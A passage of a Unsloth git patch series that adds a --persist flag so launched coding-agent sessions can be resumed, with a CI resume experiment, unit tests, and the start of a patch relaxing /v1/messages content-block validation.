unsloth start would have swallowed the session id and turned it into a stray
prompt. Name the persistence flag --persist instead, so every agent's native
resume flag (claude --resume <id>, codex resume, opencode --continue, ...)
still passes through untouched. Behavior is otherwise identical: --persist
keeps a launched agent's session under the Unsloth agents dir, and a bare
--persist reopens the last conversation.

Add a regression test that `--resume <id>` passes through verbatim, and in the
CI resume experiment skip the redundant second pass for opencode/claude (they
persist either way, and a second CPU turn only risks a timeout).

* unsloth start: correct --persist help and drop the buggy auto-resume

Reword the --persist help to be accurate: claude and opencode keep sessions in
the user's own stores and resume regardless, so --persist only stabilizes the
otherwise-ephemeral relocated home of codex/openclaw/hermes/pi. Drop the
bare-launch auto-append of native resume tokens: it errored on a first launch
with no prior session, and was inconsistent between launch and no-launch.
--persist now only keeps the session dir; resume via the agent's own command
(e.g. `unsloth start codex --persist resume`), which now finds it.

In the CI resume experiment, fail the pass when the launched turn exits
non-zero, so a write-then-error is not misread as PERSISTED.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .github/scripts/agent-guides-drive.sh       | 148 +++++++++++++++++
 .github/workflows/local-agent-guides-ci.yml | 170 ++++++++++++++++++++
 unsloth_cli/commands/start.py               |  53 ++++--
 unsloth_cli/tests/test_start.py             | 142 ++++++++++++++++
 4 files changed, 502 insertions(+), 11 deletions(-)

diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh
index defdb498c7..f4189a159e 100755
--- a/.github/scripts/agent-guides-drive.sh
+++ b/.github/scripts/agent-guides-drive.sh
@@ -527,6 +527,154 @@ case "$MODE" in
     echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)"
     ;;
 
+  # ── resume: does a launched agent's session survive exit and resume? ────
+  # Unlike the other modes, this drives the real LAUNCH path (`unsloth start
+  # <agent> ...`, the interactive default), not the --no-launch recipe. That
+  # path relocates each agent's home to a throwaway temp dir wiped on exit, so
+  # a session cannot be resumed -- unless --persist routes it to the stable
+  # Unsloth agents dir instead. We run one headless turn per pass and check
+  # whether the turn left a session in a persistent store (deterministic, no
+  # reliance on the model recalling anything), for a baseline pass and a
+  # --persist pass, and assert the expected split for this agent.
+  resume)
+    CODEWORD="PLATYPUS7"
+    T1="Remember this codeword for later: ${CODEWORD}. Reply with just the word OK."
+    T2="What codeword did I ask you to remember? Reply with just that word."
+    WORK="$WORKDIR_BASE/${AGENT}-resume"
+
+    # STABLE_HOME: the stable dir that --no-launch (and --persist) relocate to.
+    # Read it from a --no-launch probe (which also writes the agent's config
+    # there). codex/pi relocate their whole home/HOME here; opencode/claude keep
+    # their session data in a fixed user dir, so STABLE_HOME stays empty for them.
+    parse_connect
+    case "$AGENT" in
+      codex)    STABLE_HOME="$(raw_env CODEX_HOME)" ;;
+      pi)       STABLE_HOME="$(raw_env HOME)" ;;
+      *)        STABLE_HOME="" ;;
+    esac
+
+    # The persistent stores a session would land in if it were NOT wiped. We
+    # count files here before/after each turn; a positive delta means the
+    # session persisted (is resumable), zero means it went to a wiped temp dir.
+    resume_tracked_dirs() {
+      case "$AGENT" in
+        codex)    printf '%s\n' "$HOME/.codex" ;;
+        opencode) printf '%s\n' "$HOME/.local/share/opencode" "$HOME/.config/opencode" ;;
+        claude)   printf '%s\n' "$HOME/.claude" ;;
+        pi)       printf '%s\n' "$HOME/.pi" ;;
+        *)        : ;;
+      esac
+      [ -n "$STABLE_HOME" ] && printf '%s\n' "$STABLE_HOME"
+    }
+    count_session_files() {
+      local total=0 d n
+      while IFS= read -r d; do
+        [ -n "$d" ] && [ -d "$d" ] || continue
+        n="$(find "$d" -type f 2>/dev/null | wc -l)"; total=$((total + n))
+      done < <(resume_tracked_dirs)
+      echo "$total"
+    }
+
+    # The headless first-turn subcommand per agent (mirrors file-edit's map),
+    # forwarded verbatim through the launch path as passthrough args.
+    set_t1_cmd() {
+      case "$AGENT" in
+        claude)   T1_CMD=("${CLAUDE_CONNECT_FLAGS[@]}" -p "$T1") ;;
+        codex)    T1_CMD=(exec "$T1") ;;
+        opencode) T1_CMD=(run "$T1") ;;
+        pi)       T1_CMD=(-p "$T1") ;;
+        *)        guide_fail "resume mode does not cover agent '$AGENT'" ;;
+      esac
+    }
+
+    # Run one headless turn through the launch path. $1=outfile, $2="" or
+    # "--persist", rest = the agent subcommand. --yolo auto-approves so no tool
+    # prompt can hang; --api-key attaches to the already-served CI model.
+    launch_turn() {
+      local out="$1" rflag="$2"; shift 2
+      local flag=(); [ -n "$rflag" ] && flag=("$rflag")
+      run_timed "$out" unsloth start "$AGENT" "${flag[@]}" --yolo \
+        --api-key "$UNSLOTH_API_KEY" "$@"
+      local rc=$?
+      redact "$out"
+      return "$rc"
+    }
+
+    # One pass: fresh work dir, one planting turn, set RESULT to PERSISTED/WIPED
+    # from the session-store delta. Runs in the main shell (not a command
+    # substitution) so a hang's guide_fail actually fails the job and the
+    # progress lines reach the CI log. $1 = "" (baseline) or "--persist".
+    RESULT=""
+    run_pass() {
+      local rflag="$1" label="baseline"
+      [ -n "$rflag" ] && label="resume"
+      rm -rf "$WORK"; mkdir -p "$WORK"
+      set_t1_cmd
+      local out="$LOGS_DIR/${AGENT}-resume-${label}.txt"
+      local before after rc
+      before="$(count_session_files)"
+      pushd "$WORK" >/dev/null || guide_fail "could not enter work dir $WORK"
+      launch_turn "$out" "$rflag" "${T1_CMD[@]}"; rc=$?
+      popd >/dev/null || true
+      after="$(count_session_files)"
+      echo "[$AGENT] ${label}: session files ${before} -> ${after} (rc=${rc})"
+      # The turn must succeed for the delta to mean anything: an agent that writes a
+      # session file then errors would otherwise be misread as PERSISTED. Mirror the
+      # file-edit mode and fail the pass on a non-zero launch (the flagship codex recall
+      # below stays WARN-only, driven by its own launch_turn calls).
+      [ "$rc" -eq 0 ] || { echo "[$AGENT] ${label} transcript (tail):"; tail -30 "$out" 2>/dev/null || true; \
+        guide_fail "resume ${label} turn for ${AGENT} exited non-zero (rc=${rc})"; }
+      if [ "$after" -gt "$before" ]; then RESULT="PERSISTED"; else RESULT="WIPED"; fi
+    }
+
+    run_pass ""; BASELINE="$RESULT"
+    # Only the temp-dir agents (codex/pi) need the --persist pass to prove the fix.
+    # opencode/claude persist either way, so the baseline already proves it and a
+    # second full CPU turn only risks a timeout; skip it for them.
+    case "$AGENT" in
+      codex|pi) run_pass "--persist"; RESUME="$RESULT" ;;
+      *)        RESUME="n/a (persists either way)" ;;
+    esac
+
+    # Expected: codex/pi relocate their whole home to the temp dir, so a plain
+    # launch is WIPED and only --persist PERSISTS. opencode/claude keep their
+    # session data in a fixed user dir, so the baseline already PERSISTS.
+    case "$AGENT" in
+      codex|pi)        EXPECT_BASELINE="WIPED" ;;
+      opencode|claude) EXPECT_BASELINE="PERSISTED" ;;
+    esac
+
+    echo "──────────────────────────────────────────────"
+    echo "[$AGENT] RESUME EXPERIMENT"
+    echo "  baseline (unsloth start ${AGENT}):                 ${BASELINE}  (expected ${EXPECT_BASELINE})"
+    echo "  with --persist (unsloth start ${AGENT} --persist): ${RESUME}"
+    echo "──────────────────────────────────────────────"
+
+    [ "$BASELINE" = "$EXPECT_BASELINE" ] \
+      || guide_fail "baseline resume behavior for ${AGENT} was ${BASELINE}, expected ${EXPECT_BASELINE}"
+    case "$AGENT" in
+      codex|pi)
+        [ "$RESUME" = "PERSISTED" ] \
+          || guide_fail "--persist did not persist ${AGENT}'s session (got ${RESUME}); the session dir is still not stable" ;;
+    esac
+
+    # Flagship behavioral proof (codex only, WARN-only): after a --persist plant,
+    # resume the session and check the model actually recalls the codeword. A
+    # miss is not a failure (the CI model is small); the mechanism gate above is
+    # the real assertion.
+    if [ "$AGENT" = "codex" ]; then
+      rm -rf "$WORK"; mkdir -p "$WORK"
+      ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-plant.txt" "--persist" exec "$T1" ) || true
+      ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-recall.txt" "--persist" exec resume --last "$T2" ) || true
+      if grep -q "$CODEWORD" "$LOGS_DIR/codex-resume-recall.txt" 2>/dev/null; then
+        echo "[codex] behavioral recall HIT: resumed session remembered ${CODEWORD}"
+      else
+        echo "::warning::[codex] behavioral recall MISS (small CI model); mechanism gate still passed"
+      fi
+    fi
+    echo "[$AGENT] resume OK"
+    ;;
+
   *)
     echo "agent-guides-drive.sh: unknown mode '$MODE'" >&2
     exit 2
diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml
index 47f75dc1ba..25796bd5cf 100644
--- a/.github/workflows/local-agent-guides-ci.yml
+++ b/.github/workflows/local-agent-guides-ci.yml
@@ -471,6 +471,176 @@ jobs:
             redacted-configs/
           retention-days: 7
 
+  # ═════════════════════════════════════════════════════════════════════
+  # Job: resume
+  #   Does a conversation started with `unsloth start <agent>` survive exit
+  #   and resume? This drives the REAL launch path (not the --no-launch
+  #   recipe the other jobs use). A plain launch relocates the agent home to
+  #   a temp dir wiped on exit, so codex/pi cannot resume; --persist routes the
+  #   session to the stable Unsloth agents dir so it persists. opencode/claude
+  #   keep their session data in a fixed user dir, so they persist either way.
+  #   Dispatch-only: it is an end-to-end experiment, not a PR gate.
+  # ═════════════════════════════════════════════════════════════════════
+  resume:
+    name: resume (${{ matrix.agent }})
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 60
+    strategy:
+      fail-fast: false
+      matrix:
+        # codex/pi relocate their whole home (resume broken without --persist);
+        # opencode/claude keep session data in a fixed dir (resume already works).
+        # One agent from each class proves the split end to end; openclaw/hermes
+        # share codex's relocation mechanism and are covered by the unit tests.
+        agent: [codex, opencode, claude, pi]
+    env:
+      GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
+      GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
+      STUDIO_PORT: '18904'
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+
+      - name: Linux deps for llama.cpp prebuilt
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y --no-install-recommends \
+            libcurl4-openssl-dev libssl-dev jq
+
+      - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e  # v6.4.0
+        with:
+          node-version: '22'
+
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+
+      - name: Restore GGUF model file
+        id: cache-gguf
+        uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        continue-on-error: true
+        with:
+          path: gguf-cache
+          key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
+
+      - name: Download GGUF if cache miss
+        id: download-gguf
+        if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
+        env:
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          python -m pip install --upgrade huggingface_hub
+          mkdir -p gguf-cache
+          bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache
+
+      - name: Save GGUF model file
+        if: always() && steps.download-gguf.outcome == 'success'
+        uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        with:
+          path: gguf-cache
+          key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
+
+      - name: Install Studio (--local, --no-torch)
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          mkdir -p logs
+          set -o pipefail
+          bash install.sh --local --no-torch 2>&1 | tee logs/install.log
+
+      - name: Serve unsloth run --disable-tools (gemma-4-E4B)
+        run: |
+          unsloth studio reset-password
+          bash .github/scripts/serve-unsloth-run.sh \
+            --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
+            --port "$STUDIO_PORT" --log-dir logs \
+            --extra "--seed $UNSLOTH_SEED --temp 0" \
+            --health-timeout 900
+
+      - name: Preflight the agent's API dialect (class-a isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: |
+          set -uo pipefail
+          B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY"
+          preflight_fail() {
+            echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect). Endpoint contract lives in studio/backend/routes/**.";
+            exit 1
+          }
+          code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \
+            -H "Authorization: Bearer $K") || true
+          [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code"
+          case "$AGENT" in
+            claude)
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code"
+              ;;
+            codex)
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code"
+              ;;
+            *)
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code"
+              ;;
+          esac
+          echo "preflight OK for $AGENT"
+
+      - name: Install agent CLI (class-b isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: bash .github/scripts/agent-guides-install.sh "$AGENT"
+
+      - name: Resume experiment (launch path)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: bash .github/scripts/agent-guides-drive.sh resume "$AGENT"
+
+      - name: Collect server logs (debug)
+        if: always()
+        run: |
+          mkdir -p logs/studio-logs
+          cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
+          if [ -n "${UNSLOTH_API_KEY:-}" ]; then
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
+              sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
+            done
+          fi
+
+      - name: Stop Studio
+        if: always()
+        run: |
+          if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
+            kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
+          fi
+          sleep 2
+          ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true
+
+      - name: Upload logs
+        if: always()
+        continue-on-error: true
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
+        with:
+          name: resume-${{ matrix.agent }}-log
+          path: |
+            logs/
+            agent-workdir/
+            redacted-configs/
+          retention-days: 7
+
   # ═════════════════════════════════════════════════════════════════════
   # Job 3: prompt-cache
   #   (a) curl 2-turn /v1/chat/completions: assert turn-2 cached_tokens > 0
diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py
index a8665b9be3..48c0aca34b 100644
--- a/unsloth_cli/commands/start.py
+++ b/unsloth_cli/commands/start.py
@@ -133,6 +133,21 @@ _YOLO_OPTION = typer.Option(
         "flag/config. Any of the three spellings works for any agent."
     ),
 )
+_PERSIST_OPTION = typer.Option(
+    False,
+    "--persist/--no-persist",
+    help = (
+        "Keep this agent's Unsloth-managed session dir so you can resume it later. "
+        "codex/openclaw/hermes/pi have their whole home relocated into an Unsloth dir "
+        "that is a throwaway temp dir (wiped on exit) by default; with --persist it "
+        "lives under the Unsloth agents dir and survives, so their own resume can reopen "
+        "it. claude and opencode keep sessions in your own stores (~/.claude, "
+        "~/.local/share/opencode), so they already resume regardless. To reopen a "
+        "session, pass the agent's own resume command through, e.g. "
+        "`unsloth start codex --persist resume` or `claude --resume <id>`; those flow to "
+        "the agent unchanged."
+    ),
+)
 
 # Per-agent CLI flag for "run tools without prompting". opencode and openclaw have no
 # such flag (config only) and are handled in their config writers, so they are absent.
@@ -1133,15 +1148,20 @@ def _agents_config_root() -> Path:
 
 
 @contextlib.contextmanager
-def _session_config(agent: str, launch: bool):
+def _session_config(
+    agent: str,
+    launch: bool,
+    persist: bool = False,
+):
     """Yield a private directory for an agent's session config (never the user's own).
 
-    launch: an ephemeral temp dir removed after the agent process exits, so nothing
-    persists. no-launch: a stable Unsloth-owned dir (the printed recipe is run later
-    on this machine), reused across runs. Either way the user's real ~/.<agent>
-    config is left untouched.
+    launch (default): an ephemeral temp dir removed after the agent process exits, so
+    nothing persists. no-launch: a stable Unsloth-owned dir (the printed recipe is run
+    later on this machine), reused across runs. persist (from --persist): use that same
+    stable dir even for a launch, so the agent's session survives the exit and can be
+    resumed next time. Either way the user's real ~/.<agent> config is left untouched.
     """
-    if launch:
+    if launch and not persist:
         path = Path(tempfile.mkdtemp(prefix = f"unsloth-{agent}-"))
         try:
             yield path
@@ -1453,6 +1473,7 @@ def claude(
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
 ):
     """Point Claude Code at the running Studio server and start it."""
     base, key, entry = _connect(
@@ -1497,6 +1518,9 @@ def claude(
     # --yolo (or its aliases) maps to Claude's own --dangerously-skip-permissions.
     # IS_SANDBOX is left unset on purpose: Claude refuses bypass mode as root unless a
     # sandbox is detected, and we don't want to falsely claim one on the user's host.
+    # claude keeps its history in ~/.claude/projects, which --settings/env never
+    # relocate, so a session already survives exit; resume it with `claude --continue`
+    # or `--resume <id>` passed through.
     command = [
         "claude",
         "--model",
@@ -1533,6 +1557,7 @@ def codex(
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
 ):
     """Point OpenAI Codex at the running Studio server and start it."""
     base, key, entry = _connect(
@@ -1558,7 +1583,7 @@ def codex(
         *_yolo_command_flags("codex", yolo),
         *ctx.args,
     ]
-    with _session_config("codex", launch) as home:
+    with _session_config("codex", launch, persist = persist) as home:
         write_codex_config(base, entry, home)
         env = {_CODEX_ENV_KEY: key, "CODEX_HOME": str(home)}
         _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex")
@@ -1576,6 +1601,7 @@ def openclaw(
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
 ):
     """Point OpenClaw at the running Studio server and start it."""
     base, key, entry = _connect(
@@ -1601,7 +1627,7 @@ def openclaw(
         if os.name == "nt"
         else "curl -fsSL https://openclaw.ai/install.sh | bash"
     )
-    with _session_config("openclaw", launch) as cfg:
+    with _session_config("openclaw", launch, persist = persist) as cfg:
         config_path = cfg / "openclaw.json"
         # key lives in the config, not the env; --yolo writes the exec policy here too.
         write_openclaw_config(base, key, entry, config_path, yolo = yolo)
@@ -1622,6 +1648,7 @@ def opencode(
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
 ):
     """Point OpenCode at the running Studio server and start it."""
     base, key, entry = _connect(
@@ -1645,7 +1672,9 @@ def opencode(
         command = ["opencode", "--model", opencode_model]
     else:
         command = ["opencode"]
-    with _session_config("opencode", launch) as cfg:
+    # opencode keeps sessions in ~/.local/share/opencode (never relocated), so resume
+    # already survives exit; reopen the last one by passing `opencode --continue` through.
+    with _session_config("opencode", launch, persist = persist) as cfg:
         config_path = cfg / "opencode.json"
         # OPENCODE_CONFIG is an overlay (loaded between the user's global and project
         # configs), so this adds the Unsloth provider/model for the session without
@@ -1697,6 +1726,7 @@ def hermes(
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
 ):
     """Point Hermes (Nous Research) at the running Studio server and start it."""
     base, key, entry = _connect(
@@ -1708,7 +1738,7 @@ def hermes(
     )
     command = ["hermes", *_yolo_command_flags("hermes", yolo), *ctx.args]
     install_hint = _hermes_install_hint()
-    with _session_config("hermes", launch) as home:
+    with _session_config("hermes", launch, persist = persist) as home:
         # HERMES_HOME relocates hermes' whole home dir (config.yaml, sessions, state)
         # like CODEX_HOME, so the user's ~/.hermes is left untouched for the session.
         write_hermes_config(base, entry, home / "config.yaml")
@@ -1728,6 +1758,7 @@ def pi(
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
 ):
     """Point Pi (coding agent) at the running Studio server and start it."""
     base, key, entry = _connect(
@@ -1752,7 +1783,7 @@ def pi(
     # --ignore-scripts matches Pi's documented install recipe (its README notes Pi needs
     # no install scripts), so accepting the prompt skips dependency lifecycle scripts.
     install_hint = "npm install -g --ignore-scripts @earendil-works/pi-coding-agent"
-    with _session_config("pi", launch) as home:
+    with _session_config("pi", launch, persist = persist) as home:
         # Pi resolves its config dir from PI_CODING_AGENT_DIR first (getAgentDir() prefers
         # it over $HOME/.pi/agent), so pin it at the session dir: an inherited
         # PI_CODING_AGENT_DIR in the user's shell would otherwise send Pi to their real
diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py
index 87a295532e..065972b275 100644
--- a/unsloth_cli/tests/test_start.py
+++ b/unsloth_cli/tests/test_start.py
@@ -2548,3 +2548,145 @@ def test_session_config_no_launch_preserves_existing_state(fake_studio, tmp_path
     with start._session_config("codex", launch = False) as home2:
         assert home2 == home
         assert (home2 / "sessions" / "live.sqlite").read_text() == "state"
+
+
+# ── --persist: persist the agent session so it can be resumed ────────────────
+def test_session_config_persist_uses_stable_dir_and_survives(monkeypatch, tmp_path):
+    # --persist routes a launch to the stable Unsloth agents dir (the one --no-launch
+    # already uses) instead of a throwaway temp dir, and never wipes it on exit.
+    monkeypatch.setattr(start, "_agents_config_root", lambda: tmp_path / "agents")
+    with start._session_config("codex", launch = True, persist = True) as home:
+        assert home == tmp_path / "agents" / "codex"
+        (home / "marker").write_text("kept")
+    assert home.exists()
+    assert (home / "marker").read_text() == "kept"
+
+
+def test_session_config_default_launch_is_ephemeral():
+    # Default launch (no --persist) still uses a throwaway temp dir wiped on exit.
+    with start._session_config("codex", launch = True) as home:
+        assert home.exists()
+        assert "unsloth-codex-" in home.name
+    assert not home.exists()
+
+
+# The temp-dir agents: --persist points each one's home/state env at the stable dir;
+# without it, at an ephemeral temp path. opencode is handled separately (only its
+# config overlay is relocated; its session data was never in the temp dir).
+_RESUME_ENV_VAR = {
+    "codex": "CODEX_HOME",
+    "openclaw": "OPENCLAW_STATE_DIR",
+    "hermes": "HERMES_HOME",
+    "pi": "HOME",
+}
+
+
+def _capture_launch(monkeypatch, argv):
+    captured = {}
+
+    def run(
+        command,
+        env = None,
+        **kwargs,
+    ):
+        captured["command"] = command
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, argv)
+    assert result.exit_code == 0, result.output
+    return captured
+
+
+@pytest.mark.parametrize("agent", sorted(_RESUME_ENV_VAR))
+def test_resume_persists_agent_home_to_stable_dir(agent, fake_studio, tmp_path, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: f"/usr/local/bin/{agent}")
+    captured = _capture_launch(monkeypatch, [agent, "--persist"])
+    stable = tmp_path / "agents" / agent
+    assert captured["env"][_RESUME_ENV_VAR[agent]] == str(stable)
+    # The stable dir survives the agent exit, so the session can be resumed.
+    assert stable.exists()
+
+
+@pytest.mark.parametrize("agent", sorted(_RESUME_ENV_VAR))
+def test_default_launch_home_is_ephemeral(agent, fake_studio, tmp_path, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: f"/usr/local/bin/{agent}")
+    captured = _capture_launch(monkeypatch, [agent])
+    home = captured["env"][_RESUME_ENV_VAR[agent]]
+    assert f"unsloth-{agent}-" in home
+    assert str(tmp_path / "agents") not in home
+
+
+def test_resume_opencode_config_in_stable_dir(fake_studio, tmp_path, monkeypatch):
+    # opencode's session data lives in ~/.local/share/opencode (never relocated), so
+    # resume already survives exit; --persist also stabilizes its config overlay dir.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/opencode")
+    captured = _capture_launch(monkeypatch, ["opencode", "--persist"])
+    stable = tmp_path / "agents" / "opencode"
+    assert captured["env"]["OPENCODE_CONFIG"] == str(stable / "opencode.json")
+    assert stable.exists()
+
+
+def test_persist_bare_codex_launch_has_no_resume_token(fake_studio, monkeypatch):
+    # A bare `--persist` only persists the session dir; it must NOT auto-append a native
+    # resume token, or the very first launch (no session yet) would send codex down its
+    # no-session error path. The user resumes explicitly: `unsloth start codex --persist resume`.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    captured = _capture_launch(monkeypatch, ["codex", "--persist"])
+    assert "resume" not in captured["command"]
+    # command[0] is the resolved executable path; assert the argv after it.
+    assert captured["command"][1:] == ["--oss", "--profile", start._CODEX_PROFILE]
+
+
+def test_persist_bare_opencode_launch_has_no_resume_token(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/opencode")
+    captured = _capture_launch(monkeypatch, ["opencode", "--persist"])
+    assert "--continue" not in captured["command"]
+    assert captured["command"][1:] == ["--model", f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"]
+
+
+def test_persist_bare_claude_launch_has_no_resume_token(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+    captured = _capture_launch(monkeypatch, ["claude", "--persist"])
+    assert "--continue" not in captured["command"]
+    assert captured["command"][1:] == ["--model", MODEL["id"]]
+
+
+def test_resume_with_passthrough_does_not_auto_append(fake_studio, monkeypatch):
+    # When the caller drives their own subcommand, --persist only persists the dir; it
+    # must not inject a resume token that would collide with the user's command.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    captured = _capture_launch(monkeypatch, ["codex", "--persist", "exec", "hello"])
+    assert "resume" not in captured["command"]
+    assert captured["command"][-2:] == ["exec", "hello"]
+
+
+def test_default_launch_has_no_resume_token(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    captured = _capture_launch(monkeypatch, ["codex"])
+    assert "resume" not in captured["command"]
+
+
+def test_resume_persist_only_agents_have_no_resume_token(fake_studio, monkeypatch):
+    # openclaw/hermes persist their session dir but have no non-interactive resume
+    # selector, so --persist must not append a token; their own picker resumes.
+    for agent in ("openclaw", "hermes"):
+        monkeypatch.setattr(start.shutil, "which", lambda _, a = agent: f"/usr/local/bin/{a}")
+        captured = _capture_launch(monkeypatch, [agent, "--persist"])
+        assert "resume" not in captured["command"]
+        assert "--continue" not in captured["command"]
+
+
+def test_native_resume_flag_passes_through_unchanged(fake_studio, monkeypatch):
+    # The persistence flag is --persist, NOT --resume, so an agent's own
+    # `--resume <id>` (e.g. `unsloth start claude --resume <guid>`) still flows
+    # through to the agent verbatim and is not swallowed as a Studio option.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+    captured = _capture_launch(monkeypatch, ["claude", "--resume", "some-session-guid"])
+    assert captured["command"][-2:] == ["--resume", "some-session-guid"]
+    # Studio never auto-appends its own resume token when the user drives resume.
+    assert captured["command"].count("--resume") == 1
+    assert "--continue" not in captured["command"]

From eb775d320778bb496378344c061bd538e4d39ad9 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 03:20:02 -0700
Subject: [PATCH 284/306] Studio /v1/messages: accept thinking and unknown
 content blocks (#7017)

* Studio /v1/messages: accept thinking and unknown content blocks

The Anthropic-compatible /v1/messages endpoint modeled a message's content as
Union[str, list[{text|image|tool_use|tool_result}]], so any other block type
made Pydantic reject the whole request with
`messages.N.content.str: Input should be a valid string`. Resuming a Claude
session commonly replays assistant turns that carry `thinking` (extended
thinking) blocks, and sometimes a null content for a tool-only turn, both of
which tripped this and returned a 400.

Accept them:
- Add a permissive AnthropicUnknownBlock fallback (any block whose type is not
  one of the four known ones), so thinking/redacted_thinking/provider-specific/
  future blocks validate. A validator keeps known types on their typed models,
  so a malformed known block (e.g. a tool_use without id) still fails cleanly.
- Coerce a null message (and tool_result) content to "" so the converter's
  `for block in content` stays safe.

The converter already drops block types it does not translate, so a thinking
block is not forwarded to the model.

* Studio /v1/messages: keep user content validation strict

Make the thinking/null leniency role-aware so it never silently drops real
